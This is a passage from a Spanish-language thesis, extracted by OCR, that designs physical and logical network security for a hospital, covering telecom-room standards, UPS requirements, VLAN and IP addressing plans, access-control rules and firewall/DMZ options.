mejores practicas para la gestion de seguridad.

=

Salida de
Emergencia

Asistente

Administrador

UGl

Cuarto de
Servidores

Entrada
Principal

llustracion 82. Distribucion fisica actual de la UGI.

Realizado en: Google ScketchUp 8.0

En vista de que no se dispone de un &rea para reubicar el cuarto de
telecomunicaciones, y de acuerdo a los requerimientos de la Institucion, se debe
disefiar el area de la UGI en el espacio disponible. En el caso de incrementar personal

y &reas como desarrollo, se requiere una nueva ubicacion fisica.

18 1SO/IEC 27002. Estandar de Seguridad de Informacion. Consultado en: http://is027002.es
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Los objetivos que se plantearon para el disefio de la seguridad fisica son:

— Proteger los activos informaticos criticos de la Institucibn de amenazas
accidentales, malintencionadas y/o desastres naturales.

— Minimizar la pérdida de informacion y garantizar la recuperacion de la misma de
manera oportuna.

— Asegurar que las condiciones ambientales en el centro de computo sean las

adecuadas para el buen funcionamiento de los equipos.

2.2.1.Consideraciones generales para el Cuarto de telecomunicaciones

El espacio del cuarto de telecomunicaciones no debe ser compartido con instalaciones
eléctricas que no sean de telecomunicaciones, el disefio debe de considerar ademas
de voz y datos, la incorporaciéon de otros sistemas de informacion del edificio tales

como television, alarmas, seguridad, audio y otros sistemas de telecomunicaciones.
Para el disefio del cuarto de Telecomunicaciones se considera lo siguiente:

— Altura: La altura minima recomendada del cielo raso es de 2.6 metros.

— Puerta: La puerta de acceso debe ser de apertura completa, con llave y al menos
91 centimetro de ancho y 2 metros de alto. La puerta debe ser removible y abrir
hacia afuera. La puerta debe abrir al ras del piso y no debe de tener postes
centrales.

— Polvo y electricidad estatica: Se debe evitar polvo y electricidad estética
utilizando piso de loza o similar (no utilizar alfombra). De ser posible, aplicar
tratamiento especial a las paredes, pisos y cielos para minimizar el polvo y la
electricidad estatica.

— Cielo falso: Se debe evitar el uso de cielo falso en el cuarto de
telecomunicaciones, para evitar colocar materiales combustibles.

— Prevencion de inundaciones: El cuarto de telecomunicaciones debe estar libre
de cualquier amenaza de inundacion. No debe haber tuberia de agua pasando
sobre o alrededor el cuarto de telecomunicaciones. De haber riesgo de ingreso de
agua, se debe proporcionar drenaje de piso.

— lluminacion: Debe estar a un minimo de 2.6 metros del piso terminado, las
paredes deben estar pintadas de un color claro para mejorar la iluminacion. Se

recomienda el uso de luces de emergencia.
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Potencia: Deben de haber tomacorrientes suficientes para alimentar los
dispositivos instalados en los rack. El estdndar establece que debe haber un
minimo de dos tomacorrientes dobles de 110V dedicados de tres hilos. Deben ser
circuitos separados de 15 a 20 amperios. Los tomacorrientes deben estar
dispuestos a 1.8 metros de distancia uno de otro. En muchos casos es deseable

instalar un panel de control eléctrico dedicado al cuarto de telecomunicaciones.

La alimentacién especifica de los dispositivos electronicos se podra hacer con UPS
y regletas montadas en los rack. Separado de esta toma debe haber
tomacorrientes dobles para herramientas, equipos de prueba, etc. Estos
tomacorrientes deben estar a 15 cm. del nivel del piso y dispuestos en intervalos

de 1.8 m. alrededor del perimetro de las paredes.

El cuarto de telecomunicaciones debe contar con una barra de puesta a tierra que
a su vez debe estar conectada mediante un cable minimo 6 AWG con aislamiento
verde al sistema de puesta a tierra de telecomunicaciones segun las
especificaciones ANS/TIA/EIA-607"".

Seguridad: Se debe mantener el cuarto de telecomunicaciones con llave en todo
momento. Se debe asignar llaves a personal que esté en el edificio durante las
horas de operacion. Se debe mantener su area limpia y ordenada.

Disposicion de equipos: Los racks deben de contar con al menos 82 cm de
espacio de trabajo libre alrededor (al frente y detras) de los equipos y paneles de
telecomunicaciones. La distancia de 82 cm se debe medir a partir de la superficie
mas salida del rack.

Paredes: Las paredes deben ser suficientemente rigidas para soportar equipo y

deben ser pintadas con pintura resistente al fuego, lavable y de color claro.

7 ANSI/TIA/EIA-607. Estandar de disefio de cableado. Consultado en:
http://www.marylandaviation.com/_media/client/doingbusinesswithmaa/telecom/2008/S8%20MAA%20
OAT%20607.pdf
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llustracion 83. Propuesta distribucion muebles de oficina de la UGI.
Realizado en: Google ScketchUp 8.0

2.2.1.1. Areas Seguras

Objetivo: Evitar el acceso fisico no autorizado, dafios o intromisiones en las

instalaciones y a la informacion de los sistemas en todas las &reas del Hospital,

especialmente donde se maneja informacion critica.

% Perimetro de seguridad fisica

El acceso a la Institucién debera ser controlado en primer lugar por el personal de
seguridad, en segundo lugar por el responsable de cada area en horas laborales,
se prohibe el acceso a las areas de la Instituciéon en jornadas no laborables.

La UGI debera ser reubicada en un area poco transitada, libre de ruido e
interrupciones.

El cuarto de los servidores debera mantenerse cerrado, sélo se permitira el acceso
a las personas autorizadas de la UGI.

Todas las puertas externas de la UGl y é&rea de servidores deben estar
adecuadamente protegidas contra accesos no autorizados mediante mecanismos
de control como alarmas y camaras de video.

El desarrollo del proyecto de vigilancia mediante camaraslP debera incluir el
disefio de la topologia de red y distribucion de cableado, asi como el andlisis de
trafico y ancho de banda requerido para los servicios de la red interna (Volp y

vigilancialP). Las camaras PTZ (pan-tilt-zoom), presentan gran flexibilidad, pueden
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moverse horizontal y verticalmente, y acercarse o alejarse de un area o un objeto
de forma manual o automatica. En &areas de dificil acceso se puede implementar
camaras sobre una red Wireless.

Se debera designar a una persona responsable del monitoreo continuo de las
cadmaras de seguridad existentes en la Institucion. Se recomienda ser realizado por
el personal de seguridad de la Institucion quienes cumplen a través de turnos

rotativos la vigilancia durante las 24 horas del dia.

Controles fisicos de entrada

La Unidad de Gestion Informatica deberd permanecer cerrada, en el caso que
ningun miembro se encuentre en la misma.

Todas las personas que laboran en la Institucion deberan llevar visible una tarjeta
de identificacién que los acredite como funcionarios de la misma.

Se debe contratar personal de seguridad que resguarde los activos de la
Institucion, ubicados en las entradas y pasillos de misma.

El acceso al cuarto de telecomunicaciones debe poseer un dispositivo de
identificacion biométrico, para evitar accesos no autorizados. Se recomienda el

siguiente dispositivo debido a su facil uso, capacidad y economia.

EQUIPO MODELO CARACTERISTICAS
Sistema Operativo: Linux.
Lector de huella Capacidad de usuarios: 2.000 huellas.
F8-SR100 Capacidad de transacciones: 50.000
registros.

CPU: Procesador de 64bits ZF6001

Algoritmo: Nueva versién ZK2010

Tabla 39. Equipo biométrico para el cuarto de telecomunicaciones.
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Lector de
huella digital

llustracién 84. Control de Acceso Fisico la Unidad de Gestién Informatica.

Realizado en: Google ScketchUp 8.0

« Seguridad de oficinas y recursos

— Las areas administrativas deberan contar con una entrada principal, las cuales
deberan permitir el acceso a personal autorizado, el personal de limpieza cerrara
cada acceso principal con llave luego que haya verificado que todo el personal se
haya retirado.

— Todas las areas deben tener un extintor de incendios.

llustracion 85. Seguridad de oficinas y recursos. Unidad de Gestion Informatica

Realizado en: Google ScketchUp 8.0
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<+ Aire Acondicionado

En cuanto al ambiente climético, la temperatura de una oficina con computadoras debe
estar comprendida entre 18 y 21 grados centigrados y la humedad relativa del aire
debe estar comprendida entre el 45% y el 65%. Es importante también el ambiente
sonoro por lo que se recomienda no adquirir equipos que superen los 55 decibeles,

sobre todo cuando trabajan muchas personas en un mismo espacio.
< Extintor

Se recomienda el uso del Extintor de Gas Halon tipo A.B.C. (Clase A: basura, madera,
papel; Clase B: grasas, liquidos inflamables y solventes; Clase C: equipos eléctricos)
de 15.5 Lb (7.05 Kg), creado para proteger areas de oficina con equipos de cémputo,

almacenaje de informacion, telecomunicaciones y cuartos de alta tecnologia limpia.
2.2.1.2. Aislamiento de las zonas de carga y descarga

Objetivo: Destinar un lugar de bodega para la UGI que resguarde todos los
suministros y equipos de red y oficina, debe contar con un listado de personas

autorizadas para el acceso a la misma.

X3

%

BODEGA

— La Institucion debera designar un espacio fisico a la Unidad de Gestién
Informatica, destinado para el area de bodega para el almacenamiento de los
equipos computo y dispositivos de comunicacion, ademas de material obsoleto y/o

adquisiciones de reserva 0 suministro.
2.2.1.3. Seguridad de los Equipos

Objetivo: Proteger fisicamente a los equipos para minimizar el peligro sobre los

activos evitando la interrupcion de las actividades normales de la Institucion.

% Ubicacién y proteccién de los equipos

— La Institucién tendrd en cuenta como una de sus politicas de seguridad, la
prohibicion de comer, beber o fumar cerca de las instalaciones de los equipos,
especialmente en el area de procesamiento de datos.

— Los equipos de red y servidores deberan ser ubicados estratégicamente para evitar

riesgos durante su uso tomando en cuenta practicas de ergonomia.

147




Analisis y Disefio del Esquema de Seguridad de la red de datos del H.I.A.L.

Mantener un inventario y descripciébn de los recursos de hardware y de redes
instalados, que incluyan entre otros datos: numero de serie, fecha de adquisicion,
proveedor, periodo de garantia, situacion actual del equipo.

Establecer responsables de los equipos en cada éarea, asi como establecer
quiénes son los usuarios en los mismos.

Utilizar racks modulares para el apoyo de servidores y UPS.

La norma TIA-EIA-942 recomienda una distancia frontal al Rack de 1mt, aunque
idealmente son 1,20 m. Para el pasillo posterior, se recomienda una distancia de al
menos 0,6m, preferentemente de 1m. Respecto a la altura, ésta no debe superar
los 2,4m y para un acceso facil a la parte superior del Rack, se recomienda no
sobrepase los 2,1m.
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llustracion 86. Disefio de bastidor para ubicacion de equipos

Suministro eléctrico

El area de los servidores y equipos de comunicacion debe contar con equipos
contra fallos en el suministro de energia u otras anomalias eléctricas, UPS, extintor
de incendios, detector de humo, y debera estar ubicada en un area restringida.

Todas las instalaciones de la Institucién, contaran con una puesta a tierra para

proteger a los equipos de descargas eléctricas.
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Las cajas donde se encuentran los interruptores de energia deberan ser colocadas
en lugares fuera del alcance de personas externas y bajo llave para evitar
interrupcion de energia a las instalaciones de la Institucion.

El Hospital cuenta con un generador de energia en caso de que esta llegue a
interrumpirse, a su vez éste se encuentra conectado con el UPS local del cuarto de
telecomunicaciones. Por lo que se sugiere se adquiera un nuevo UPS para
abastecer los nuevos equipos que se adquieran.

Considerando la capacidad del equipo UPS actual que es de 3000 VA equivalente
a 1800 Watts, solo abastece 6 equipos de 300 watts. La tabla 45 muestra las
especificaciones del equipo que se recomienda.

Se asegurara que el UPS este ventilado apropiadamente, sin materiales u objetos

que lo obstruyan.

EQUIPO REQUERIMIENTOS

Las Unidades de Potencia Ininterrumpida (UPS) deberan ser de
tecnologia: On Line de Doble Conversion u On Line de Linea
Interactiva.

v" Rango de potencia no inferior a:3000 VA

v' Autonomia a plena carga no menor a: 6 minutos
v Tensioén de entrada: 120 VAC
UPS para v' Tensioén de salida: 120 VAC
Cuartode | v Eficiencia mayor al 90 % a plena carga (para disminuir la
telecomunic disipacion de calor).

aciones | v Tomas de salida minimas de 4 hasta 1500 VA y 8 para mas de
1500 VA.

v' Soporte para caidas de tensién hasta 79V y sobretensiones
hasta 147V.

v" Alarmas de falla de suministro eléctrico.
v Puerto de monitoreo de red, para control de bateria.

Compatibilidad de software con: Linux y equipos a instalarse.

Tabla 40. Caracteristicas UPS para Cuarto de telecomunicaciones.
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— El cableado de la red debe garantizar la correcta transmision de datos para lo cual
necesita proteccion a través de canaletas y estar ubicado en lugares estratégicos
para evitar dafios al cable e interrupcion de los servicios de red.

— Los cables de energia eléctrica deberan estar separados de los cables de
comunicaciones, cables de sefales para dispositivos de monitoreo o deteccién
(fuego, temperatura, humedad, etc.) para prevenir interferencias, de acuerdo a las
recomendaciones del fabricante y de los estandares en vigencia.

— Corregir las falencias del cableado a través de un redisefio de la red, aplicando
estandares'® de referencia como EIA/TIA-568A, EIA/TIA-569, EIA/TIA-606,
EIA/TIA-607, los cuales permitan administrar el cableado segun los requerimientos,
innovacion tecnolégica de la Institucion y certificacion del cableado, para de esta
manera optimizar la transmision de la informacién y garantizar la continuidad de los
servicios.

— Etiquetar los puntos de red en la infraestructura de la Institucién y conexiones en
los equipos del cuarto de telecomunicaciones y comunicaciones, para facilitar la

administracion de los equipos y correccion de fallos de la red.

« Mantenimiento de equipos

— La UGI debe contar con un plan de mantenimiento preventivo de los equipos, que
sera realizado segun el cronograma establecido por cada area y para el Centro de
coémputo. El mantenimiento correctivo sera realizado inmediatamente sean
reportadas las fallas.

— La UGI deberé llegar un registro de los dafios mas frecuentes en los equipos.

— La UGI debera contar con un sistema de backups distribuido para asegurar la

informacion importante de los usuarios.

% Seguridad de los equipos fuera de la Institucion

— La Institucion debe contar con una cobertura de seguros para todos los equipos
portatiles dentro y fuera de la Institucion.

— Ningun equipo informatico, informacion o software debe salir de la Institucion sin
una autorizacion escrita por parte del Director de la Institucién y bajo conocimiento

y aprobacion del Administrador de la UGI.

8 Normas EIA/TIA, Sistema de cableado estructurado, http://multimedia.mmm.com, [Fecha de consulta: 2011-07-20]
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— Se debe llevar un registro de los equipos portétiles que sean llevados fuera de la
Institucion con datos tales como nombre del responsable, fecha de salida y fecha
de devolucién, ademas del tiempo requerido para la permanencia del equipo.

% Seguridad en lareutilizacién o eliminacion de equipos

Los equipos que vayan a ser reutilizados por otra area o usuario deberdn ser
formateados y configurados de acuerdo a las necesidades del nuevo usuario, no sin

antes haber sacado los respaldos respectivos y ser entregados a su antiguo duefio.
% Traslado de equipos

Ningun equipo informatico, informacion o software podra ser trasladado de su lugar

sin una autorizacion escrita por parte del Administrador de la UGI.
2.3. Disefio de la Seguridad Légica

El Hospital necesita de una arquitectura modular, para determinar los niveles de
seguridad y garantizar el rendimiento de la red, ademas se puede facilitar la

administracién eficiente y centralizada.

La arquitectura modular SAFE™ propone un bosquejo de la implementacién de una red
segura, considerando los atagues a la red que pueden existir y las soluciones a las

vulnerabilidades encontradas.
Los objetivos planteados para el disefio de la seguridad l6gica son:

— Definir y controlar los permisos y accesos a los programas y archivos.

— Asegurar que los datos sean utilizados por el proceso adecuado y con los
procedimientos correctos.

— Asegurar que los datos y programas que no correspondan a un area sean
modificados por los usuarios de dicha &rea.

— Asegurar que la informacién transmitida sea recibida por el destinatario al cual fue

enviada.

' Metodologia SAFE. Septiembre 2010, http:/www.etmk.cl/in72j/papers/safe_wp_es.pdf, [Fecha de consulta; 2011-07-
21]
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Para el disefio de seguridad légica de la red se plantea dos opciones, la primera que
es la solucion éptima y que implica el uso de equipos de mayor capacidad y la
segunda que plantea una solucién temporal con los equipos adquiridos por la
Institucion y aquellos que posee actualmente, de modo que se pueda realizar la
implementacién, cumpliendo con los objetivos planteados en el presente proyecto.

2.3.1. Disefno de la Estructura de Red

La metodologia SAFE propone una estructura de tres bloques, compuestos por varios
modulos. En el disefio se consideraran aquellos modulos necesarios, de acuerdo a la

situacion actual y requerimientos de la red.

2.3.1.1. Bloque de Campo

En este bloque se encuentra la infraestructura de red interna distribuida en modulos de

manera jerarquica.

llustracion 87. Disefio del Blogue de Campo de la red.

Fuente: Autoras. Realizado en: Microsoft Visio

< Mobdulo Core

El objetivo de este modulo es enrutar y conmutar el trafico lo mas rdpidamente posible
de unared a otra, es decir conectar el bloque de perimetro con la red de campo.
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La principal amenaza que se pretende mitigar son los paquetes sniffer, un intruso
puede conectarse a un puerto activo y tener acceso a todo el trafico dentro de un
segmento, por lo que la seguridad en este modulo se corresponde a la limitacion del

acceso.

Una técnica de administracion econdémica y sencilla para aumentar la seguridad es
segmentar la red en multiples grupos de broadcast a través de VLANs que permitan al
administrador de red limitar la cantidad de usuarios en un grupo de VLAN, y evitar que

otros usuarios se conecten a segmentos de red que no pertenecen.

Como se habia descrito en la etapa de andlisis, la red cuenta con una distribucion de
VLANs tanto para voz como datos, sin embargo se requiere reestructurar esta
distribucion segmentando la red para reducir el trafico broadcast que se genera y
limitar el acceso entre VLANS.

Una red convergente permite la subsistencia de trafico multimedia, por lo que se
considera la creaciéon de una VLAN de video, la misma que permitira implementar
posteriormente camaras de video vigilancia sobre el protocolo IP. La implementacion
de esta subred involucra el andlisis de ancho de banda requerido para cada servicio
de la red tanto para voz, video y datos, este andlisis esta fuera del alcance del
presente proyecto por lo que se propone un disefio de la topologia de red.

La siguiente tabla muestra la distribucion de VLANs de acuerdo a la cantidad y perfil

de grupos de usuarios y servicios de red.

Tamafio o
VLAN Min-Max Descripcion
Administracion 8-20 Administracion de los equipos de red.
Servidores 4-20 Servidores de aplicaciones.
Volp 80-120 Teléfonos de Volp, requiere la asignacion de

prioridad sobre el resto de VLANs

Camaras |IP para video-vigilancia, requiere la
Camaras Ip 5-20 asignacion de ancho de banda necesario para la
transmisién de video.

Vlan que se utilizara para realizar los enlaces WAN
de las instituciones de salud publica necesarias.
Vlan de equipos de usuario final o estaciones de
trabajo.

Enlaces 2-20

Estaciones 150-300

Tabla 41. Distribucion principal de VLANS.
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Considerando que los usuarios de estaciones de trabajo tienen perfiles diferentes en
cuanto al uso de internet y recursos de la red, se dividird en varias VLANs como se

muestra en la siguiente tabla.

Tamafo L

VLAN Min-Max Descripcion
Usuarios de las areas de Consulta Externa y
Médicos 100-150 Hospitalizacion en los diferentes pisos del edificio,

ademas las oficinas de Emergencia, Enfermeria,
Farmacia y Laboratorios.

Usuarios administrativos que manejan informacion
critica para la Institucion, tales como Direccion,
40-60 Subdireccion, Servicios Institucionales, Gestion
Financiera, Pagaduria, Proveeduria, Compras
Publicas o Adquisiciones y Recursos Humanos.

Administrativos

Usuarios de las oficinas de: Aseguramiento de

Operativos 20-30 Calidad, Oferta y Demanda, Transportes y Servicios
que requieren acceso a internet.
Wireless 5-20 Puntos de acceso para la red inalambrica

Equipos de exdmenes médicos que requieren
Equipos Médicos 5-20 conexion a internet para mantenimiento y reparacion
via acceso remoto.

Usuarios u oficinas instaladas de forma temporal en la

Invitados 5-20 L . . o
Institucion como: Contraloria, Registro Civil, etc.

Tabla 42. Distribucion de VLANs de estaciones de trabajo.
« Equipo NIDS

El Core de la red tendra un equipo NIDS, que permita la deteccién oportuna de
intrusos en la red interna. Para la implementacion del equipo NIDS se utilizara el

Sistema AlienVault 3.1, el mismo que incluye algunos servicios de supervision.

En la fase de implementacion se manifiesta con detalle su funcionamiento.
2.3.1.1.1. Primera Solucién para el moédulo Core

El disefio comprende la incorporacion de un switch de capa 3 que permita la creacién
de interfaces virtuales necesarias para VLANSs, asi como una velocidad de reenvio
Optima para evitar cuellos de botella, se puede utilizar un router, sin embargo el costo
es superior y las ventajas en este médulo del disefio son las mismas, incluso el switch

proporciona mayor velocidad ya que las funciones de ruteo las hace a través de
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hardware y no de software, su limitante es la cantidad de puertos WAN necesarios
para enlaces.

Asignacion RED Direccion IP Méascara

VLAN 5: Internet 192.168.1.0 192.168.1.1 255.255.255.252
VLAN 99: Administracién 10.104.31.0 10.104.31.1 255.255.255.224
VLAN 100: Servidores 10.104.32.0 10.104.32.1 255.255.255.192
VLAN 10: Voz 10.104.33.0 10.104.33.1 255.255.255.0

VLAN 20: Video 10.104.34.0 10.104.34.1 255.255.255.224
VLAN 30: Enlaces 10.104.35.0 10.104.35.1 255.255.255.224
VLAN 40: Médicos 10.104.36.0 10.104.36.1 255.255.255.0

VLAN 50: Administrativos 10.104.37.0 10.104.37.1 255.255.255.128
VLAN 60: Operativos 10.104.37.128 10.104.37.129 | 255.255.255.224
VLAN 70: Wireless 10.104.37.160 10.104.37.161 | 255.255.255.224
VLAN 80: Equipos Médicos 10.104.37.190 10.104.37.191 | 255.255.255.224
VLAN 90: Invitados 10.104.37.224 10.104.37.225 | 255.255.255.224

Tabla 43. Distribucion de VLANs switch Core. Solucion 1

La siguiente llustracion muestra la topologia de red del Mddulo Core planteado como
primera solucion.

Server-FT

FIREpVALL
Server-PT

Server SGH
Server-FT

Sl Server NIDS
Server-PT
Server Recaudacion

L

Server-FT
Server DHCP

witch Cisco
Servidores

Server-PT
Server Wideno

Server-FT
Server WalP

Distribucion] 3Com
dministrativos - Yoz

Distribucion2 3Com

Medicos - Yoz -Operativas

Equipos Medicos

Distribucion3 3Com
Wiireless-Yideo -
Inwitados

Distribuciond 3Com
Hemodialisis
Medicos-Operativos- Yoz

llustracion 88. Solucion 1.Topologia de switch Core.
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Modo

Asignacion

Puertos

Red

Mascara

Acceso

VLAN 5: Internet

SWC: Gi0/1

192.168.1.0

255.255.255.252

Trunk

Monitor

SWC: Gib0/24

Trunk

VLAN 2: Nativa

Permitir:

VLAN 10: Voz

VLAN 50: Administrativos
VLAN 99 Administracion

SWC:Gib0/3
SWD1:Gib0/27

Trunk

VLAN 2: Nativa

Permitir

VLAN 40 Médicos

VLAN 50 Administrativos
VLAN 60 Operativos
VLAN 70 Wireless

SWC: Gib0/6

Trunk

VLAN 2: Nativa

Permitir

VLAN 10: Voz

VLAN 40: Médicos
VLAN 60: Operativos
VLAN 80:
EquiposMedicos

VLAN 99: Administracién

SWC: Gib0/4
SWD2: Gib0/27

Trunk

VLAN 2: Nativa

Permitir

VLAN 20: Video

VLAN 70: Wireless
VLAN 90: Invitados
VLAN 99: Administracion

SWC: Gib0/5
SWD3: Gib0/27

Trunk

VLAN 2: Nativa

Permitir

VLAN 10: Voz

VLAN 40: Médicos
VLAN 60: Operativos
VLAN 99: Administracion

SWC: Gib0/5
SWD4:Gib0/25

Tabla 44. Distribucion de puertos Swirch Core

En el disefio del Switch Core se utiliza un puerto Gigabit SFP, debido a que se

requiere un enlace mediante Fibra al edificio de la Unidad de Hemodidlisis ubicado en

la parte posterior del edificio central. ElI switch multicapa realizara el enrutamiento

necesario para comunicar los servidores con el resto de VLANSs. Las caracteristicas

técnicas necesarias para el equipo Core se describen a continuacion:

156




Analisis y Disefio del Esquema de Seguridad de la red de datos del H.I.A.L.

REQUERIMIENTOS DEL SWITCH DE CORE

Puertos # Uso
10/100/1000 Mbps 24 Conexion a servidores y a switch de
distribucién
SFP de 1 Gb Minimo 4 | Conexion para edificios externos.

OTROS REQUERIMIENTOS

— Conmutacion y enrutamiento de capas 2, 3y 4.
— Ip Routing: 32

— Soporte de médulos WAN.
— Monitoreo y administracion de red.

— Seguridad de control de acceso y encriptacion.
— Funcionalidades bajo estandares IEEE.

— Calidad de servicio.

Tabla 45. Solucion 1. Requerimientos Switch Core.

2.3.1.1.2. Segunda Solucion para el mdédulo Core

El disefio de la segunda solucion comprende la implementacion de dos switches de

capa 3 en el médulo Core que proporcionen la funcionalidades de acceso y seguridad

necesarias entre subredes. Los equipos adquiridos por la Institucién y los que se

encuentran actualmente en funcionamiento, permiten la creacidon de cuatro interfaces

virtuales, lo que limita la implementacion del disefio propuesto en la primera solucion.

La segunda solucion se realiza reduciendo la cantidad de VLANSs, este disefio

contempla los requerimientos actuales de distribucion y seguridad interna de la red.

Los puntos de acceso inalambrico se ubicaran con una IP estética en la Vlan de

acuerdo a los usuarios.

Dispositivo | Interfaz Descripcion Red Direccion IP Mascara

VLANZ2 Nativa - - -

Switch VLANS Internet 192.168.1.0 | 192.168.1.1 |255.255.255.252

Corel VLAN50 |Administrativos | 10.104.37.0 | 10.104.37.1 |255.255.255.128
VLAN99 | Administraciéon | 10.104.31.0 | 10.104.31.1 |255.255.255.224
VLAN100 Servidores 10.104.32.0 | 10.104.32.1 |255.255.255.192
VLAN2 Nativa - - -

Switch VLAN10 Voz 10.104.33.0 | 10.104.33.1 | 255.255.255.0

Core2 VLAN40 Médicos 10.104.36.0 | 10.104.36.1 | 255.255.255.0
VLANGO Operativos  |10.104.37.128|10.104.37.129 | 255.255.255.128
VLAN99 | Administracion | 10.104.31.0 | 10.104.31.2 |255.255.255.224

Tabla 46. Distribucién de VLAN switch Core. Solucién 2
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Server-PT
Server DHCP

Server-PT
Servidor de WozIP

Server-
NIDE

Zentyal LITM
—
f.'?
1841
Server-FT I5P

Fale Falf24 CORE#1

VLAN 2, 5, 99, 100, 50

Server-PT

Servidor de Sisterna de Histarias Clinicas

fa0/1 trunk Fa0f2 trunk  Giof2s trunk
Server-FT
Servidor de Recaudacion

Fan)1 trunk

Switch Distribuciana 1
JCOM 10,104,313
ra r L}

) _ | Gi0J26 trunk CORE#Z
¢ ol w30} 27 EFLT o e e e e et e et e et e e e YLAN 2, 99, 40, 60, 10
>, L
Fa03* e 3com Cored2 3COM
10104311 10,104,312

1
Fa0f12 trunk  £an/1 trunk

@i} 25 krunk
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Switch Distribucion# 2 Switch Distribucidngg 3 Switch Distribuciona4 Switch Distribucidn#s
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llustracion 89. Solucién 2.Topologia de switch Core.
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% ACL VLAN

Las reglas de control de acceso seran definidas en el mismo orden que se presentan a

continuacion:

— Permitir el acceso de la VLAN Administrativos y Médicos al Servidor SGH

— Permitir el acceso de la VLAN Administrativos al Servidor de Recaudacion

— Permitir el acceso de VLAN de Administracion a todas las VLAN.

— Permitir el acceso de todas las VLAN a Internet.

— Permitir inicamente la administracién de equipos a direcciones IP de la VLAN
Administracion.

— Denegar el acceso a las interfaces de VLAN para la administracion de los equipos.

— Denegar el acceso Intra-VLAN

<+ Mobdulo de distribucion

El objetivo de este mddulo es proveer conectividad de red a las diferentes estaciones
de usuario final a través de equipos de distribuciéon como Switch de capa 2 y los

enlaces de cableado e inalambricos.

Los Switch de capa 2 implementaran las VLANSs previamente mencionadas definiendo
para cada puerto una VLAN especifica, y a la vez distribuyendo los dispositivos o

equipos de acceso.
Topologia de Red

La distribucién de VLANs en los Switch de capa 2 se realiza considerando los equipos

disponibles y el nimero de usuarios por VLAN.

Con la finalidad de abastecer la cantidad de usuarios en la red los switch de la capa de
distribucion permitiran también el acceso directo de los clientes, ya sean estos:

teléfonos, impresoras, estaciones de trabajo o Puntos de Acceso inalambrico.
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CORE#1 _ Gi0f28 trunk CORE#?
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llustracion 90. Disefio de configuracion del Médulo de Distribucion.
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"

La siguiente table muestra la distribucién de puertos de los equipos de red.

Switch
Distribucién 1

Dispositivo Asignacion Puerto
VLAN 2: Nativa fa0/1, fa0/6, fa0/12,
Modo Trunk Gio/27
VLAN 5: Internet Gio/28
Switch Core 1 VLAN 100: Servidores fa0/2, fa0/3
VLAN 10: Voz fa0/4
VLAN 99: Administracion fa0/13, fa0/23
Monitoreo fa0/24
. VLAN 2: Nativa Gib0/28, Gib0/25,
Switch Core 2 Modo Trunk fa0/1, fa0/2
VLAN 2: Nativa fa0/1
Modo trunk

VLAN 50: Administrativos (Nativa)
VLAN 10: Voz
Modo Trunk

fa0/2 — fa0/24

Switch
Distribucién 2

VLAN 2: Nativa
Modo trunk

fa0/1

VLAN 50: Administrativos (Nativa)
VLAN 10: Voz
Modo Trunk

fa0/2 — fa0/24

Switch
Distribucién 3

VLAN 2: Nativa
Modo trunk

fa0/1

VLAN 40: Médicos (Nativa)
VLAN 10: Voz
Modo Trunk

fa0/2 - fa0/24

Switch
Distribucién 4

VLAN 2: Nativa
Modo trunk

fa0/1

VLAN 40: Médicos (Nativa)
VLAN 10: Voz
Modo Trunk

fa0/2 - fa0O/14

VLAN 10: Voz

fa0/14 — fa0/19

VLAN 60: Operativos

fa0/20 — fa0/23

Switch
Distribucién 5

VLAN 2: Nativa Gib0/25
Modo trunk
VLAN 10: Voz fa0/1 — fa0/6

VLAN 60: Operativos

fa0/7 — fa0/11

VLAN 40: Médicos

fa0/14 — fa0/24

Switch Acceso 1

VLAN 10: Voz

fa0/1 — fa0/24

Tabla 47. Configuracion de puertos Switch Core 1.
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< Modulo de Servidores

En este mdédulo se encuentran los servidores de la red interna del hospital, los mismos
gque se conectan directamente al Core de la red, garantizando que sus servicios sean

alcanzados por los usuarios finales.

Las amenazas reconocidas y que se pueden mitigar mediante este médulo son:

Exploits a los servidores, paquetes sniffers y DoS, mediante:

— La configuracién adecuada del switch de capa 3 para el acceso a los servidores.
— La implementacion de VLANs privadas para los servidores evitando que intrusos

puedan colocar programas Exploits en los servidores.
Los servidores que conforman este mdédulo son:

— Servidor de Sistema de Gestién Hospitalaria (SGH) y Sistema de Recursos
Humanos (SGRHIA)

— Servidor de Recaudacion

— Servidor de Volp

— Servidor DHCP

A esta lista se incluye el Servidor DHCP de la red, en el cual se implementara
interfaces de las VLAN: Médicos, Administrativos, Operativos y Administracién, para
proporcionar este servicio. Contara con una direccibn IP de la VLAN de

Administracion, para su configuracién y mantenimiento remotamente.

Estos servidores se ubicaran en la VLAN 100 y tendran una direccién IP estatica

asignada de la siguiente forma.

Servidor Direccion IP
Servidor SGH-SGRHIA 10.104.32.51
Servidor de Recaudacion Sistema Mdnica. Active Directory 10.104.32.52
Servidor Volp 10.104.33.2
Servidor DHCP 10.104.31.27

Tabla 48. Asignacion de Direccion IP a los Servidores de la red.
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2.3.1.2. Bloque de Perimetro

En este bloque se encuentra el modulo de Internet, en donde se establecen las

politicas necesarias para el acceso desde y hasta las redes internas y DMZ.
% Modulo de Internet

El médulo de internet es el médulo mas critico de la red, a través del cual se provee el
servicio de internet y que aloja el servidor del sitio Web. La base principal de este
médulo es la implementacion de un equipo Firewall que permitira controlar el acceso

tanto al Servidor Web como a la red interna.

2.3.1.2.1. Primera Solucién para el médulo de Internet

La opcién 1 comprende la instalacion e implementacion del Servicio de Firewall en un
equipo con tres interfaces para las zonas de red local, DMZ e instalar un Servidor
Proxy para la red interna; instalar un equipo IDS en la DMZ asi como HIDS en los

servidores.

BLOQUE DE PERIMETRO

WEB

BLOQUE

ISP CAMPO

llustracion 91. Seguridad Perimetral Firewall con tres interfaces de red.

Fuente: Autoras. Realizado en: Microsoft Visio 7.0

El servicio IDS en el switch de la DMZ realizar4d un monitoreo de las peticiones que

ingresan a los servidores para poder detectar cualquier tipo de ataque.
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2.3.1.2.2. Segunda Solucién para el Médulo de Internet.

Implementar en un solo equipo los servicios de Firewall, Proxy con filtrado URL, IDS,

con tres interfaces fisicas para la red interna, DMZ, e internet.

BLOQUE DE PERIMETRO
WEB

BLOQUE

ISP CAMPO

llustracion 92. Seguridad Perimetral Firewall con dos interfaces de red.

La zona DMZ constara de un servidor Web, en caso de requerir un nuevo servicio se

puede implementar un switch de capa 2.

Considerando las opciones estudiadas, asi como la reduccion de costos de la
implementacion, se concluye implementar la segunda opcién tomando en cuenta
parametros de configuracion adecuados para el buen funcionamiento y seguridad de

los equipos, asi como la posibilidad del crecimiento de las redes internas.

El Firewall deberd implementar un motor de filtrado URL, para controlar el acceso de
los usuarios internos hacia direcciones publicas especificas, ademas debera realizar

control de ancho de banda.

